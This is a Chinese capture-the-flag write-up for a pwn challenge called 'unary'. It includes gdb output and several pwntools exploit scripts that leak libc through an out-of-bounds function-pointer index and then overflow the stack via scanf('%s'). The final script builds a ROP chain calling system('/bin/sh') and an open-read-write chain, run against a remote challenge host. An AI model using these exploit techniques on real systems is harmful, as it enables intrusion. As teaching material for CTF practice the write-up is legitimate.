题目提供了elf文件和libc库。
初步简单执行,发现该程序功能为简单的计算器,有+1,-1等单数操作。
通过ida打开,主函数伪c代码如下。
read_int伪c代码如下。
read_int函数只接受int型数据,接收到非int型会exit,由于c语言中int型最大只能接收到4个字节,无法进行溢出操作。该程序虽然有目录所限,但是并未对用户的选项进行合法判断,且对用户的选项仅有一处指针操作。
汇编代码如下。
函数的执行由r12与rbx两个寄存器控,call qword ptr [r12+rbx*8]
在0x400835处下断点,多次试验后发现第一次输入的值最终为rbx+1,第二次输入的值最终为rdi,r12的值固定为0x600e00
[----------------------------------registers-----------------------------------]
RAX: 0x600e1f --> 0x100
RBX: 0x0
RCX: 0x10
RDX: 0x7f1c9d342790 --> 0x0
RSI: 0x7fff5be6bf0c --> 0x0
RDI: 0x600e1f --> 0x100
RBP: 0x40091c ("Operator: ")
RSP: 0x7fff5be6bf00 --> 0x7fff5be6bf2e --> 0x0
RIP: 0x400835 (<main+76>: call QWORD PTR [r12+rbx*8])
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x7f1c9d0f35e0 --> 0x2000200020002
R12: 0x600e00 --> 0x400707 (<inc>: add edi,0x1)
R13: 0x7fff5be6bf0c --> 0x0
R14: 0x400927 --> 0x78286600203d2078 ('x = ')
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40082d <main+68>: movsxd rbx,ebx
0x400830 <main+71>: mov rsi,r13
0x400833 <main+74>: mov edi,eax
=> 0x400835 <main+76>: call QWORD PTR [r12+rbx*8]
0x400839 <main+80>: mov edx,DWORD PTR [rsp+0xc]
0x40083d <main+84>: lea rsi,[rip+0xe8] # 0x40092c
0x400844 <main+91>: mov edi,0x1
0x400849 <main+96>: mov eax,0x0
Guessed arguments:
arg[0]: 0x600e1f --> 0x100
arg[1]: 0x7fff5be6bf0c --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fff5be6bf00 --> 0x7fff5be6bf2e --> 0x0
0008| 0x7fff5be6bf08 --> 0x0
0016| 0x7fff5be6bf10 --> 0x0
0024| 0x7fff5be6bf18 --> 0x400870 (<__libc_csu_init>: push r15)
0032| 0x7fff5be6bf20 --> 0x400620 (<_start>: xor ebp,ebp)
0040| 0x7fff5be6bf28 --> 0x7fff5be6c010 --> 0x1
0048| 0x7fff5be6bf30 --> 0x0
0056| 0x7fff5be6bf38 --> 0x7f1c9cf9c830 (<__libc_start_main+240>: mov edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400835 in main ()
利用puts_got泄露__libc_start_main地址
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
r=process('./unary')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
r.recvuntil('or:')
r.sendline('68') #(puts_got - 0x600e00) / 8 + 1
r.recvuntil(' =')
r.sendline(str(u64(libc_start_main_got))) #rdi
r.recv()
lsm = u64(r.recv(6)+'\x00\x00')
print "libcstartmain>>>"+hex(lsm)
r.interactive()
得到结果
libcstartmain>>>0x7fbe0c9df740
利用__isoc99_scanf()函数进行溢出构造rop,程序中带有%s字符串,位置在0x400916,被 printf_chk()调用过。将%s地址存入rdi寄存器中,rsi默认指向栈地址,可以向栈中输入大量字符造成栈溢出。代码如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
r=process('./unary')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
gdb.attach(r,'b * 0x40085e')
r.recvuntil('or:')
r.sendline('71') #(isocc99_scanf_got - 0x600e00) / 8 + 1
r.recvuntil(' =')
r.sendline(str(0x400916)) #rdi
r.sendline(cyclic(120)) #二次输入
r.recvuntil('or:')
r.sendline('0') #退出,触发栈溢出控制rbp,rip
r.interactive()
调试结果如下
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x6161616361616162 ('baaacaaa')
RCX: 0x10
RDX: 0x7f24f780a790 --> 0x0
RSI: 0x1
RDI: 0x7ffc82185860 --> 0x7ffc82180030 --> 0x0
RBP: 0x6161616561616164 ('daaaeaaa')
RSP: 0x7ffc82185dd8 ("laaamaaanaaaoaa"...)
RIP: 0x400866 (<main+125>: ret)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x7f24f75bb5e0 --> 0x2000200020002
R12: 0x6161616761616166 ('faaagaaa')
R13: 0x6161616961616168 ('haaaiaaa')
R14: 0x6161616b6161616a ('jaaakaaa')
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400860 <main+119>: pop r12
0x400862 <main+121>: pop r13
0x400864 <main+123>: pop r14
=> 0x400866 <main+125>: ret
0x400867: nop WORD PTR [rax+rax*1+0x0]
0x400870 <__libc_csu_init>: push r15
0x400872 <__libc_csu_init+2>: push r14
0x400874 <__libc_csu_init+4>: mov r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffc82185dd8 ("laaamaaanaaaoaa"...)
0008| 0x7ffc82185de0 ("naaaoaaapaaaqaa"...)
0016| 0x7ffc82185de8 ("paaaqaaaraaasaa"...)
0024| 0x7ffc82185df0 ("raaasaaataaauaa"...)
0032| 0x7ffc82185df8 ("taaauaaavaaawaa"...)
0040| 0x7ffc82185e00 ("vaaawaaaxaaayaa"...)
0048| 0x7ffc82185e08 ("xaaayaaazaabbaa"...)
0056| 0x7ffc82185e10 ("zaabbaabcaabdaa"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400866 in main ()
偏移如下
gdb-peda$ cyclic -l daaa
12
gdb-peda$ cyclic -l laaa
44
利用ROPgadget找到pop rdi ;ret
@ubuntu:~/Desktop$ ROPgadget --binary unary |grep rdi
0x00000000004008d3 : pop rdi ; ret
已知libc地址和溢出位置构造rop,代码如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
r=process('./unary')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
#gdb.attach(r,'b * 0x400835')
r.recvuntil('or:')
r.sendline('68') #puts
r.recvuntil(' =')
r.sendline(str(u64(libc_start_main_got)))
r.recv()
lsm = u64(r.recv(6)+'\x00\x00')
print "libcstartmain>>>"+hex(lsm)
base = lsm - 0x020740
system = base + 0x045390
binsh = base + 0x18cd57
rdi = p64(0x4008d3)
r.recvuntil('or:')
r.sendline('71') #isocc99_scanf
r.recvuntil(' =')
r.sendline(str(0x400916))
r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+rdi+p64(binsh)+p64(system))
r.recvuntil('or:')
r.sendline('0')
r.interactive()
由于目标机禁用了system函数,利用orw获取flag。代码如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local == 1:
r=process('./unary')
gdb.attach(r,'b * 0x400835')
#gdb.attach(r,'b * 0x40085e')
else:
r = remote('66.172.27.144',9004)
libc = ELF('./libc-2.27.so')
elf = ELF('./unary')
main = p64(elf.symbols['main'])
puts = p64(elf.symbols['puts'])
libc_start_main_got = p64(elf.got['__libc_start_main'])
rdi = p64(0x4008d3)
rsi = p64(0x400865)
r.recvuntil('or:')
r.sendline('68') #puts
r.recvuntil(' =')
r.sendline(str(u64(libc_start_main_got)))
r.recv()
lsm = u64(r.recv(6)+'\x00\x00')
buf = 0x601100
print "libcstartmain>>>"+hex(lsm)
if local == 1:
base = lsm - 0x020740
system = base + 0x045390
binsh = base + 0x18cd57
puts = base + 0x6f690
r.recvuntil('or:')
r.sendline('71') #isocc99_scanf
r.recvuntil(' =')
r.sendline(str(0x400916))
r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+rdi+p64(binsh)+p64(system))
r.recvuntil('or:')
r.sendline('0')
else:
base = lsm - libc.symbols['__libc_start_main']
system = base + libc.symbols['system']
binsh = base + 0x1b3e9a
opens = p64(base + libc.symbols['open'])
read = p64(base + libc.symbols['read'])
write = p64(base + libc.symbols['write'])
puts = base + libc.symbols['puts']
rdx = p64(base + 0x01b96)
r.recvuntil('or:')
r.sendline('71') #isocc99_scanf
r.recvuntil(' =')
r.sendline(str(0x400916))
#r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+p64(rdi)+p64(binsh)+p64(system)+p64(rdi))
r.sendline(cyclic(12)+p64(0xdeadbeef)+cyclic(24)+rdi+p64(0) + rdx + p64(0x8) + rsi + p64(buf) + read + rdi + p64(buf) + rdx + p64(0) + rsi +p64(0)+ opens +rdi + p64(3) + rdx + p64(0x30) + rsi + p64(buf+0x38) + read + rdi + p64(1) + rdx + p64(0x30) + rsi + p64(buf+0x38) + write)
r.recvuntil('or:')
r.sendline('0')
r.send('flag.txt')
r.interactive()
封面id72055179 画师id1056186
全部评论 (共 1 条评论)